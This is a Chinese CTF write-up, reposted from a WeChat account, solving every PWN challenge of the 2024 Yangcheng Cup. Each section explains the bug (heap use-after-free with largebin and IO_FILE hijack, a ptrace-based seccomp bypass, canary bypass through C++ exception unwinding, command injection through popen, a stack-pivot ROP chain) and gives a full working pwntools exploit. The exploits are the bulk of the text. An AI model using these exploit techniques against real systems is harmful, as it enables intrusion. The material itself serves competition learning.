2024年羊城杯粤港澳大湾区网络安全大赛PWN 全部解析

admin 2024年9月25日10:10:03评论46 views字数 15445阅读51分29秒阅读模式

前言:本文章同步csdn具体详情 可以查看~附件在后台

2024年羊城杯粤港澳大湾区网络安全大赛PWN 全部解析
hard+sandbox:


这题难点在于绕过沙盒的限制,但是这里
openopenat都禁用,
并且固定执行环境,很难通过平替函数 或者篡改
cs切换执行环境来执行open函数

2024年羊城杯粤港澳大湾区网络安全大赛PWN 全部解析

发现大堆的申请限制+uaf漏洞 直接largebin attack+IO就能完成劫持rip

2024年羊城杯粤港澳大湾区网络安全大赛PWN 全部解析

glibc2.36这里使用了一个magic_gadget来配合使用setcontext完成劫持

0x000000000005e5b0 : mov rdx, rbx ; call qword ptr [rax + 0x38]

使用ptracehook->seccomp

ptrace 系统调用概述:
int ptrace(enum __ptrace_request request, pid_t pid, void *addr, void *data);//request:指定操作类型,如 PTRACE_ATTACH、PTRACE_DETACH、PTRACE_PEEKDATA 等。//PTRACE_ATTACH,用于将当前进程附加到另一个进程的调试会话中。//PTRACE_SETOPTIONS,用于设置附加的跟踪选项。//PTRACE_CONT.用于继续执行之前被暂停的进程//PTRACE_DETACH,用于从一个正在被调试的进程中分离(“脱离”)调试器,被调试进程将继续正常执行。//pid:目标进程的进程 ID(PID)。//addr 和 data:用于特定请求的额外数据。//data://PTRACE_O_TRACESECCOMP:指定设置 seccomp 事件跟踪选项。

fork开启一个子进程 如果 pid 为0表示当前代码块是在子进程中执行的,否则是在父进程中执行的然后使用ptrace附加选项(PTRACE_ATTACH)附加到子进程调用wait函数等待子进程停止。此时子进程将会被暂停,父进程能够对其进行进一步操作接下来对seccomp设置子进程的监控选项,PTRACE_O_TRACESECCOMP使得父进程能够接收到seccomp触发的信号 然后继续执行子进程PTRACE_CONT等待seccomp触发wait(NULL); 父进程会在这里阻塞,直到接收到子进程的seccomp触发事件。这个时候子进程会触发seccomp然后,在父进程中对他进行hook处理,完成绕过

2024年羊城杯粤港澳大湾区网络安全大赛PWN 全部解析

只需要将C语言代码转换为汇编执行就行

from pwn import *from ctypes import*from LibcSearcher import*import pwnlib.shellcraft as scu64_Nofix=lambda p:u64(p.recvuntil(b'n')[:-1].ljust(8,b'x00'))u64_fix=lambda p:u64(p.recvuntil(b'x7f')[-6:].ljust(8,b'x00'))u64_8bit=lambda p:u64(p.recv(8))def int_fix(p,count=12):p.recvuntil(b'0x')return int(p.recv(count),16)FILENAME='../pwn5'p=process(FILENAME)elf=ELF(FILENAME)ip='124.223.76.251'port=9999# p = remote(ip,port)libc=ELF('../libc.so.6')def command(option):p.recvuntil(b'>')p.sendline(bytes(str(option),'utf-8'))def create(idx,Size):command(1)p.recvuntil(b'Index')p.sendline(bytes(str(idx),'utf-8'))p.recvuntil(b'Size')p.sendline(bytes(str(Size),'utf-8'))def free(id):command(2)p.recvuntil(b'Index')p.sendline(bytes(str(id),'utf-8'))def edit(id,Content):command(3)p.recvuntil(b'Index')p.sendline(bytes(str(id),'utf-8'))p.recvuntil(b'Content')p.send(Content)def show(id):command(4)p.recvuntil(b'Index')p.sendline(bytes(str(id),'utf-8'))context.arch='amd64'create(0,0x500)create(1,0x520)create(2,0x510)create(3,0x520)free(2)create(4,0x520)show(2)libc_add=u64_fix(p)libcbase=libc_add-0x1f70f0success('libcbase '+hex(libcbase))edit(2,b'a'*(0x10-1)+b'A')show(2)p.recvuntil(b'A')heap_add=u64_Nofix(p)success('heap_add '+hex(heap_add))edit(2,p64(libc_add)*2)IO_list_all=libcbase+0x1f7660IO_wfile_jumps=libcbase+0x1f30a0success('IO_wfile_jumps '+hex(IO_wfile_jumps))setcontextadd=libcbase+libc.sym['setcontext']ret=libcbase+0x00000000000233d1#fake_IOfakeIO_add=heap_add-0xa40orw_add=fakeIO_add+0xe0+0x50A=fakeIO_add+0x40B=fakeIO_add+0xe8+0x40-0x68C=fakeIO_addgg=libcbase+0x000000000005e5b0leave_ret=libcbase+0x0000000000050877fake_IO=b''fake_IO=fake_IO.ljust(0x18,b'x00')fake_IO+=p64(1) #_IO_write_ptr>_IO_write_basefake_IO=fake_IO.ljust(0x68,b'x00')fake_IO+=p64(orw_add-0x8)#lockfake_IO=fake_IO.ljust(0x78,b'x00')fake_IO+=p64(fakeIO_add)#lockfake_IO=fake_IO.ljust(0x90,b'x00')fake_IO+=p64(A)# _wide_data=rdxfake_IO+=p64(leave_ret)fake_IO=fake_IO.ljust(0xc8,b'x00')fake_IO+=p64(IO_wfile_jumps)fake_IO+=p64(orw_add)+p64(ret)+p64(0)+p64(setcontextadd+61)+b'x00'*0x20fake_IO+=p64(B)+p64(gg)mprotect=libcbase+libc.sym['mprotect']rdi_ret=libcbase+0x0000000000023b65rsi_ret=libcbase+0x00000000000251berdx_rbx_ret=libcbase+0x000000000008bcd9NR_fork=57NR_ptrace=101NR_wait=61PTRACE_ATTACH=16PTRACE_SETOPTIONS = 0x4200PTRACE_O_TRACESECCOMP = 0x00000080PTRACE_CONT = 7PTRACE_DETACH=17shellcode2 = f'''main:/*fork()*/push {NR_fork}pop raxsyscallpush raxpop rbxtest rax,raxjz child_code/*ptrace(PTRACE_ATTACH, pid, NULL, NULL)*/xor r10, r10xor edx, edxmov rsi,rbxmov rdi,{PTRACE_ATTACH}push {NR_ptrace}pop raxsyscall/* wait child */xor rdi, rdipush {NR_wait}pop raxsyscall/* ptrace(PTRACE_SETOPTIONS, pid, NULL, PTRACE_O_TRACESECCOMP) */mov r10,{PTRACE_O_TRACESECCOMP}xor rdx, rdxmov rsi,rbxmov rdi, 0x4200push {NR_ptrace}pop raxsyscalljs error/* ptrace(PTRACE_CONT, pid, NULL, NULL) */xor r10,r10xor rdx,rdxmov rsi,rbxmov rdi, {PTRACE_CONT} /* PTRACE_CONT */push {NR_ptrace}pop raxsyscalljs error/* Wait seccomp */xor rdi, rdipush {NR_wait}pop raxsyscallxor r10,r10xor rdx,rdxmov rsi,rbxmov rdi,{PTRACE_DETACH}push {NR_ptrace}pop raxsyscalljmp endchild_code:{shellcraft.open('/flag')}{shellcraft.sendfile(1,3,0,0x100)}error:/* exit */xor rdi, rdimov rax, 60syscallend:nop'''orw=p64(rdi_ret)+p64(fakeIO_add-(fakeIO_add&0xfff))+p64(rsi_ret)+p64(0x5000)orw+=p64(rdx_rbx_ret)+p64(7)*2+p64(mprotect)+p64(orw_add+0x48)orw+=asm(shellcode2)payload=fake_IO+orwedit(0,payload)free(0)edit(2,p64(heap_add)*2+p64(0)+p64(IO_list_all-0x20))create(10,0x600)command(5)p.interactive()
2024年羊城杯粤港澳大湾区网络安全大赛PWN 全部解析
logger:


Warn中发现栈溢出,但是开了canary不能直接溢出,还有一个C++异常的处理

2024年羊城杯粤港澳大湾区网络安全大赛PWN 全部解析

通过上面的浅析大致有一个抛出的过程 通过栈展开一层一层往上找catch块 找到后恢复初始化的一个过程那么如果通过溢出覆盖了rbp也能正常执行吗 是可以进行的 栈展开的时候是通过在内部把当前函数栈调用重建然后通过回抛方式一层一层往上捕获的过程 不以当前rbp做操作。

通过溢出只修改rbp

2024年羊城杯粤港澳大湾区网络安全大赛PWN 全部解析

通过_Unwind_RaiseException依然能够捕获到catch块,并且rbp被我覆盖

2024年羊城杯粤港澳大湾区网络安全大赛PWN 全部解析

再次通过 _Unwind_Resume恢复后rbp变为我覆盖的地址,并且程序正常执行

2024年羊城杯粤港澳大湾区网络安全大赛PWN 全部解析

这个只是覆盖了rbp 并没有覆盖返回地址的情况下 我们能控制rbp 如果后面程序执行函数返回 leave;ret;我们能直接完成栈迁移控制rip 可以看看覆盖rbp的时候的 返回地址是什么 0x401a37

2024年羊城杯粤港澳大湾区网络安全大赛PWN 全部解析

他指向的这个地址又是一个jmp jmp后面的可以不用管,注意这里IDA识别catch

2024年羊城杯粤港澳大湾区网络安全大赛PWN 全部解析

当触发异常的时

会通过_Unwind_Resume一层一层抛上去

2024年羊城杯粤港澳大湾区网络安全大赛PWN 全部解析

所以当在 Warn函数触发异常的时候

(这个try块很大 一直包含到很下面)

2024年羊城杯粤港澳大湾区网络安全大赛PWN 全部解析

通过Warn中的异常触发 throw先去捕获上一层catch

2024年羊城杯粤港澳大湾区网络安全大赛PWN 全部解析

然后会调转指向_Unwind_Resume现在还是再Warn函数中还没有抛到上一层 通过_Unwind_Resume 回抛到上一级 main函数

2024年羊城杯粤港澳大湾区网络安全大赛PWN 全部解析

2024年羊城杯粤港澳大湾区网络安全大赛PWN 全部解析

main函数中的catch块 再次通过 _Unwind_Resume去恢复到原来mian函数的执行上下文

2024年羊城杯粤港澳大湾区网络安全大赛PWN 全部解析

在原来执行过程中是这样的 因为我try对于的始终是Warn的异常捕获 当我覆盖返回地址的时候 比如 说覆盖地址为其他的try捕获 那么按照的栈展开回抛机制 程序会被回抛到try对应的catch块中

2024年羊城杯粤港澳大湾区网络安全大赛PWN 全部解析

这里把返回地址改为0x401BC2+1(执行特性,你不可能下一条执行地址和你当前地址一样吧)

第一次catch捕获成功,现在进入回抛到上一层

2024年羊城杯粤港澳大湾区网络安全大赛PWN 全部解析

可以发现回抛jmp后地址不再是原来catch块 而是我篡改后对应的catch

2024年羊城杯粤港澳大湾区网络安全大赛PWN 全部解析

这个时候catch会执行system 并且从[rbp-0x18]上取值 [rbp-0x18]来着rax

rax是 begin_catch初始化的结果 这个我们无法通过栈溢出来控制

2024年羊城杯粤港澳大湾区网络安全大赛PWN 全部解析

在第一个函数Trace中发现有off_by_null的溢出 还有一个是循环下标的一次循环溢出 溢出后可以篡 改到system使用的字符串

2024年羊城杯粤港澳大湾区网络安全大赛PWN 全部解析

此攻击通过栈溢出+异常触发可以绕过canary检查 可以控制rbp 和一定内的rip执行

from pwn import *from ctypes import*from LibcSearcher import*u64_Nofix=lambda p:u64(p.recvuntil(b'n')[:-1].ljust(8,b'x00'))u64_fix=lambda p:u64(p.recvuntil(b'x7f')[-6:].ljust(8,b'x00'))u64_8bit=lambda p:u64(p.recv(8))def int_fix(p,count=12):p.recvuntil(b'0x')return int(p.recv(count),16)FILENAME='../pwn'p=process(FILENAME)elf=ELF(FILENAME)ip='139.155.126.78'port=34700# p = remote(ip,port)def command(option):p.recvuntil(b'chocie')p.sendline(bytes(str(option),'utf-8'))def Trace(Content,records=b'y'):command(1)p.recvuntil(b'here')p.send(Content)p.recvuntil(b'records?')p.sendline(records)def Warn(plz):command(2)p.recvuntil(b'plz')p.send(plz)for i in range(8):Trace(b'a'*0x10)Trace(b'/bin/shx00')ret=0x000000000040101abss=0x404000+0x50+0x500leave_ret=0x00000000004015a9unwind_try=0x401BC2+1payload=b''payload=payload.ljust(0x70,b'A')payload+=p64(bss)+p64(unwind_try)Warn(payload)p.interactive()
2024年羊城杯粤港澳大湾区网络安全大赛PWN 全部解析
httpd:

popen函数:

FILE *popen(const char *command, const char *mode)

popen函数是C标准库中的一个函数,通常用于创建一个进程来执行一个命令并返回一个管道,用于与这个进程进行通信。

2024年羊城杯粤港澳大湾区网络安全大赛PWN 全部解析

前面都是web的头,直接抓包格式就可以直接拿到

2024年羊城杯粤港澳大湾区网络安全大赛PWN 全部解析

2024年羊城杯粤港澳大湾区网络安全大赛PWN 全部解析

然后有一个URL解码,这个后面有用,然后做了目录穿越的check

2024年羊城杯粤港澳大湾区网络安全大赛PWN 全部解析

2024年羊城杯粤港澳大湾区网络安全大赛PWN 全部解析

还有一个字符串的waf

2024年羊城杯粤港澳大湾区网络安全大赛PWN 全部解析

check完直接popen ,能直接执行命令

2024年羊城杯粤港澳大湾区网络安全大赛PWN 全部解析

上面的waf根本不严mv或者cp都可以直接把flag移到当前目录下面 然后读取出来,空格需要URL解码不 然第一次输入会被截断

from pwn import *p = remote('139.155.126.78',34700)payload='get '+'/cp%20/flag%20/home/ctf/html'+' HTTP/1.0'p.sendline(payload)p.sendline('Host: '+'192.168.0.1')p.sendline('Content-Length: '+'0')p.close()#读取flagp = remote('139.155.126.78',34700)payload='get '+'/flag'+' HTTP/1.0'p.sendline(payload)host='127.0.0.1'p.sendline('Host: '+'192.168.0.1')p.sendline('Content-Length: '+'0')p.interactive()
2024年羊城杯粤港澳大湾区网络安全大赛PWN 全部解析
TravelGraph

glibc2.35下的堆题,有一个uaf漏洞

2024年羊城杯粤港澳大湾区网络安全大赛PWN 全部解析

只能申请大堆 并且size通过city选择限制为三个 

edit函数中要满足两个条件才可以完成修改

2024年羊城杯粤港澳大湾区网络安全大赛PWN 全部解析

本地堆题部分不难,就是先利用uaf漏洞和堆风水,
泄露出来
libc地址和堆地址,然后利用edit修改bin完 成largbin attack

泄露地址

直接利用申请chunk时用的read输入,不截断,能够泄露残留地址

完成EDIT条件

这里我没仔细看是什么转换,直接代码全部抠出来采取C++多线程爆破大概2、3分钟就能爆破出来

#include<iostream>#include<cstring>#include<algorithm>#include<cmath>#include<thread>#include<vector>#include<Windows.h>#include<mutex>using namespace std;#define _QWORD unsigned long long#define MAX_COUNT 24999mutex mtx;uint64_t my_count = 0;uint32_t Array_idx = 0;DWORD flag[64]{ 0 };int main1(unsigned int a1, unsigned int flag);int main1(unsigned int a1);void bf();void bf_Array();typedef struct MyStruct{int form;int to;int flag;}MYHEAP;__int64 minDistance(int* a1, int* a2){int v3; // [rsp+14h] [rbp-Ch]unsigned int v4; // [rsp+18h] [rbp-8h]int i; // [rsp+1Ch] [rbp-4h]v3 = 9999;for (i = 0; i <= 4; ++i){if (!a2[i] && v3 >= a1[i]){v3 = a1[i];v4 = i;}}return v4;}int func(MYHEAP* heap[],int count) {int i; // [rsp+0h] [rbp-D0h]int j; // [rsp+4h] [rbp-CCh]int k; // [rsp+8h] [rbp-C8h]int m; // [rsp+Ch] [rbp-C4h]int city_name; // [rsp+10h] [rbp-C0h]int v6; // [rsp+14h] [rbp-BCh]int v7; // [rsp+18h] [rbp-B8h]int v8; // [rsp+1Ch] [rbp-B4h]int v9[8]; // [rsp+20h] [rbp-B0h] BYREFint v10[8]; // [rsp+40h] [rbp-90h] BYREFint v11[26]; // [rsp+60h] [rbp-70h]unsigned __int64 v12; // [rsp+C8h] [rbp-8h]v11[0] = 0;v11[1] = 9999;v11[2] = 9999;v11[3] = 9999;v11[4] = 9999;v11[5] = 9999;v11[6] = 0;v11[7] = 9999;v11[8] = 9999;v11[9] = 9999;v11[10] = 9999;v11[11] = 9999;v11[12] = 0;v11[13] = 9999;v11[14] = 9999;v11[15] = 9999;v11[16] = 9999;v11[17] = 9999;v11[18] = 0;v11[19] = 9999;v11[20] = 9999;v11[21] = 9999;v11[22] = 9999;v11[23] = 9999;v11[24] = 0;for (i = 0; i != count; ++i){v7 = heap[i]->form;v8 = heap[i]->to;if (heap[i]->flag < v11[5 * v7 + v8]){v11[5 * v7 + v8] = heap[i]->flag;v11[5 * v8 + v7] = heap[i]->flag;}}for (j = 0; j <= 4; ++j){v9[j] = 9999;v10[j] = 0;}v9[0] = 0;for (k = 0; k <= 4; ++k){v6 = minDistance(v9, v10);v10[v6] = 1;for (m = 0; m <= 4; ++m){if (!v10[m] && v11[5 * v6 + m] && v9[v6] != 9999 && v9[v6] + v11[5 *v6 + m] < v9[m])v9[m] = v9[v6] + v11[5 * v6 + m];}}for (m = 0; m <= 4; ++m){//printf("%d ", v9[m]);if (v9[m] > 0x7D0 && v9[m] != 9999){for (int j = 0; j <= 4; ++j){printf("%d ", v9[j]);}putchar('n');puts("That's so far! Please review and rewrite it!");for (size_t i = 0; i < count; i++){printf("%d %d %dn", heap[i]->form, heap[i]->to, heap[i]->flag);}return 1;}}return 0;}void init(MYHEAP* ptr[],int length) {for (size_t i = 0; i < length; i++){ptr[i]= new MYHEAP;ptr[i]->to = ptr[i]->form = ptr[i]->flag = 0;}}void reg(MYHEAP* ptr) {ptr->to = ptr->form = ptr->flag = 0;}void set(MYHEAP* ptr,int count) {ptr->form = (count / (5 * 1000)) % 5;ptr->to = (count / 1000) % 5;ptr->flag = count % 1000;}int change(MYHEAP* ptr) {int form = ptr->form;int to = ptr->to;int flag = ptr->flag;if (flag < 999) {ptr->flag++;return 0;}ptr->flag = 0;if (ptr->form < 4) {ptr->form++;return 0;}ptr->form = 0;if (ptr->to < 4) {ptr->to++;return 0;}return 1;}int main(){const int Max_count = 32;vector<thread> mythreads;for (size_t i = 0; i < Max_count; i++){mythreads.emplace_back(bf);}for (auto& i: mythreads){i.join();}system("pause");return 0;}void bf() {MYHEAP* heap[3];int add_offset = 100;init(heap, 3);while (true){mtx.lock();uint64_t local = my_count;my_count += add_offset;mtx.unlock();if (local >= MAX_COUNT)break;printf("%dn", local);set(heap[0], local);for (uint64_t i = local; i < local + add_offset; i++){set(heap[0], i);for (size_t j = 0; j < 5 * 5 * 1000; j++){change(heap[1]);for (size_t k = 0; k < 5 * 5 * 1000; k++){//printf("k->%dn form:%d to:%d flag:%dn", k, heap[1]->form,heap[1]->to, heap[1]->flag);change(heap[2]);if (func(heap, 3)) {mtx.lock();my_count = MAX_COUNT;mtx.unlock();return;}}}reg(heap[1]);reg(heap[2]);}}}

2024年羊城杯粤港澳大湾区网络安全大赛PWN 全部解析

然后就是正常的打IO操作

from pwn import *from ctypes import*from LibcSearcher import*u64_Nofix=lambda p:u64(p.recvuntil(b'n')[:-1].ljust(8,b'x00'))u64_fix=lambda p:u64(p.recvuntil(b'x7f')[-6:].ljust(8,b'x00'))u64_8bit=lambda p:u64(p.recv(8))def int_fix(p,count=12):p.recvuntil(b'0x')return int(p.recv(count),16)FILENAME='../pwn10'p=process(FILENAME)elf=ELF(FILENAME)# p = remote('139.155.126.78', 39147)libc=ELF('../libc.so.6')def command(option):p.recvuntil(b'5. Calculate the distance.')p.sendline(bytes(str(option),'utf-8'))def choice_city(idx):if(idx==0):temp=b'guangzhou'elif(idx==1):temp=b'nanning'elif(idx==2):temp=b'changsha'elif(idx==3):temp=b'nanchang'else:temp=b'fuzhou'return tempdef create(idx,From,To,far=1000,Note=b'a'):command(1)p.recvuntil(b'want?')temp=b''if(idx==0):temp=b'car'elif(idx==1):temp=b'train'elif(idx==2):temp=b'plane'else:temp=b'yes'p.sendline(temp)p.recvuntil(b'From')p.sendline(choice_city(From))p.recvuntil(b'To')p.sendline(choice_city(To))p.recvuntil(b'far')p.sendline(bytes(str(far),'utf-8'))p.recvuntil(b'Note')p.send(Note)def free(From,To):command(2)p.recvuntil(b'From')p.sendline(choice_city(From))p.recvuntil(b'To')p.sendline(choice_city(To))def edit(From,To,idx,Note,far=0x10):command(4)p.recvuntil(b'From')p.sendline(choice_city(From))p.recvuntil(b'To')p.sendline(choice_city(To))p.recvuntil(b'change?')p.sendline(bytes(str(idx),'utf-8'))p.recvuntil(b'far')p.sendline(bytes(str(far),'utf-8'))p.recvuntil(b'Note')p.send(Note)def show(From,To):command(3)p.recvuntil(b'From')p.sendline(choice_city(From))p.recvuntil(b'To')p.sendline(choice_city(To))def Dijkstra(travel):command(5)p.recvuntil(b'travel')p.sendline(choice_city(travel))create(2,0,1,900)create(0,2,1,102)create(1,2,4,999)Dijkstra(4)create(0,0,0)#0create(2,2,0)#1create(2,2,2)#2free(2,0)free(0,0)create(2,2,0,1000,b'a'*0x510)#3 0show(2,0)libc_add=u64_fix(p)libcbase=libc_add-0x21ace0success('libcbase '+hex(libcbase))create(2,2,2)#4create(0,0,0,1000,b'a'*7+b'A')#5show(0,0)p.recvuntil(b'A')heap_add=u64_Nofix(p)success('heap_add '+hex(heap_add))IO_wfile_jumps=libcbase+0x2170c0success('IO_wfile_jumps '+hex(IO_wfile_jumps))setcontextadd=libcbase+libc.sym['setcontext']ret=libcbase+0x0000000000029139#fake_IOfakeIO_add=heap_add-0xf90orw_add=fakeIO_add+0xe0+0x50A=fakeIO_add+0x40B=fakeIO_add+0xe8+0x40-0x68C=fakeIO_addfake_IO=p64(0)#flag rdifake_IO=fake_IO.ljust(0x28-0x20,b'x00')fake_IO+=p64(1) #_IO_write_ptr>_IO_write_basefake_IO=fake_IO.ljust(0x88-0x20,b'x00')fake_IO+=p64(fakeIO_add)#lockfake_IO=fake_IO.ljust(0xa0-0x20,b'x00')fake_IO+=p64(A)# _wide_data=rdxfake_IO=fake_IO.ljust(0xd8-0x20,b'x00')fake_IO+=p64(IO_wfile_jumps)fake_IO+=p64(orw_add)+p64(ret)+b'x00'*0x30fake_IO+=p64(B)+p64(setcontextadd+61)context.arch='amd64'mprotect=libcbase+libc.sym['mprotect']rdi_ret=libcbase+0x000000000002a3e5rsi_ret=libcbase+0x000000000002be51rdx_r12_ret=libcbase+0x000000000011f2e7orw=p64(rdi_ret)+p64(fakeIO_add-(fakeIO_add&0xfff))+p64(rsi_ret)+p64(0x5000)orw+=p64(rdx_r12_ret)+p64(7)*2+p64(mprotect)+p64(orw_add+0x48)orw+=asm(shellcraft.cat('flag'))create(2,2,3)create(0,0,3)create(1,1,1,100,p64(0)+p64(0x511))free(0,3)free(2,3)create(0,0,3)create(2,4,0,100,b'a'*8+p64(0x521)+p32(3)*3)# free(3,3)free(0,1)free(2,1)create(0,0,0)payload=b'x00'*8+p64(0x501)+p32(4)*2+p64(0)+fake_IO+orwpayload=payload.ljust(0x500,b'a')+p64(0)+p64(0x20+0x531)create(2,4,1,100,payload)free(3,3)create(2,2,2)fd=libcbase+0x21b110_IO_list_all=libcbase+0x21b680target=_IO_list_all-0x20payload=b'b'*0x8+p64(0x521)+p64(fd)*2+p64(0)+p64(target)edit(4,0,0,payload)free(4,4)create(2,2,2)create(2,2,3,100,b'a'*8+p64(0x521)+p32(3)*3)command(6)p.interactive()
2024年羊城杯粤港澳大湾区网络安全大赛PWN 全部解析
pstack:

2024年羊城杯粤港澳大湾区网络安全大赛PWN 全部解析

直接溢出0x10字节但是没有地址,不能直接弹shell需要先泄露libc地址

2024年羊城杯粤港澳大湾区网络安全大赛PWN 全部解析

可以看到整个ROP很有用,再次的read和leave;ret;可以刚好完成栈迁移,因为第一次的溢出已经把rbp改成了bss段上面 然后再次的leave;ret直接迁移过去就行

system执行的时候会大量push操作,会把栈抬高,

需要迁移的bss段要在很下面

不然会导致栈被抬高至不可写地址导致失败

from pwn import *from ctypes import*from LibcSearcher import*u64_Nofix=lambda p:u64(p.recvuntil(b'n')[:-1].ljust(8,b'x00'))u64_fix=lambda p:u64(p.recvuntil(b'x7f')[-6:].ljust(8,b'x00'))u64_8bit=lambda p:u64(p.recv(8))def int_fix(p,count=12):p.recvuntil(b'0x')return int(p.recv(count),16)FILENAME='../pwn'p=process(FILENAME)elf=ELF(FILENAME)# p = remote('3.1.19.2', 8888)libc=ELF('../libc.so.6')ret=0x0000000000400506rdi_ret=0x0000000000400773leak='puts'leak_got=elf.got[leak]puts_plt=elf.plt['puts']read_plt=elf.plt['read']main=0x400540bss=0x601000+0x500payload=b'a'*(0x30)+p64(bss)+p64(0x4006C4)p.send(payload)sleep(1)payload=b'a'*(0x8)+p64(rdi_ret)+p64(leak_got)+p64(puts_plt)+p64(main)payload=payload.ljust(0x30,b'a')+p64(bss-0x30)payload+=p64(0x00000000004006db)p.send(payload)leak_add=u64(p.recvuntil(b'x7f')[-6:]+b'x00x00')libcbase=leak_add-libc.symbols[leak]system=libcbase+libc.symbols['system']str_bin_sh=libcbase+next(libc.search(b'/bin/sh'))log.info('libcbase '+hex(libcbase))bss=0x602000-0x50payload=b'a'*(0x30)+p64(bss)+p64(0x4006C4)p.send(payload)sleep(1)execve=0xebc88+libcbasexor_edx=0x00000000000a8558+libcbasepayload=b'a'*(0x8)+p64(ret)+p64(rdi_ret)+p64(str_bin_sh)+p64(system)payload=payload.ljust(0x30,b'a')+p64(bss-0x30)payload+=p64(0x00000000004006db)p.send(payload)p.interactive()
2024年羊城杯粤港澳大湾区网络安全大赛PWN 全部解析
关注我们

2024年羊城杯粤港澳大湾区网络安全大赛PWN 全部解析

点分享

2024年羊城杯粤港澳大湾区网络安全大赛PWN 全部解析

点收藏

2024年羊城杯粤港澳大湾区网络安全大赛PWN 全部解析

点在看

原文始发于微信公众号(鱼影安全):2024年“羊城杯”粤港澳大湾区网络安全大赛PWN 全部解析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年9月25日10:10:03
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   2024年羊城杯粤港澳大湾区网络安全大赛PWN 全部解析https://cn-sec.com/archives/3130648.html

发表评论

匿名网友 填写信息